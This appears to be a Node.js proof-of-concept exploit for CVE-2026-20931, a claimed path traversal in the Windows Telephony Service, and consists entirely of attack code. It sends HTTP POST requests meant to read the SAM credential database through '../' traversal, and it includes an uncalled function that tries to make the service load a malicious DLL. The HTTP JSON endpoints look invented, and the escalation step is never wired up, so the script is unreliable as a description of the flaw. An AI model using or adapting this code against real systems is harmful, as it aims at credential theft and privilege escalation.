CVE-2026-20931

// CVE-2026-20931 Windows Telephony Service Path Traversal PoC // Target: Windows Telephony Service // Attack Vector: Adjacent Network (AV:A) // Privilege Required: Low (PR:L) const net = require('net'); // Target configuration const TARGET_HOST = 'target_ip'; const TARGET_PORT = 80; // Malicious payload with path traversal to trigger arbitrary file access // The payload exploits the lack of path sanitization in Windows Telephony Service const exploitPayload = { action: 'file_operation', file_path: '../../../../Windows/System32/config/sam', operation: 'read' }; // Create and send the exploit request function sendExploit() { const client = new net.Socket(); client.connect(TARGET_PORT, TARGET_HOST, () => { console.log('[+] Connected to target'); // Send HTTP POST request with malicious payload const httpPayload = JSON.stringify(exploitPayload); const request = `POST /telephony/service HTTP/1.1\r Host: ${TARGET_HOST}\r Content-Type: application/json\r Content-Length: ${httpPayload.length}\r Connection: close\r \r ${httpPayload}`; client.write(request); console.log('[+] Exploit payload sent'); }); client.on('data', (data) => { console.log('[+] Response received:'); console.log(data.toString()); client.destroy(); }); client.on('error', (err) => { console.error('[-] Connection error:', err.message); }); } // Privilege escalation via DLL hijacking after path traversal function escalatePrivilege() { // After gaining file access, inject malicious DLL via path traversal const dllPayload = { action: 'load_dll', dll_path: '../../../../Windows/Temp/malicious.dll', target_service: 'TelephonyService' }; const client = new net.Socket(); client.connect(TARGET_PORT, TARGET_HOST, () => { const request = `POST /telephony/load HTTP/1.1\r Host: ${TARGET_HOST}\r Content-Type: application/json\r Connection: close\r \r ${JSON.stringify(dllPayload)}`; client.write(request); }); } // Execute exploits console.log('[*] CVE-2026-20931 Exploit'); console.log('[*] Target: Windows Telephony Service'); sendExploit(); // Note: This PoC demonstrates the path traversal vulnerability // Actual exploitation requires valid adjacent network access

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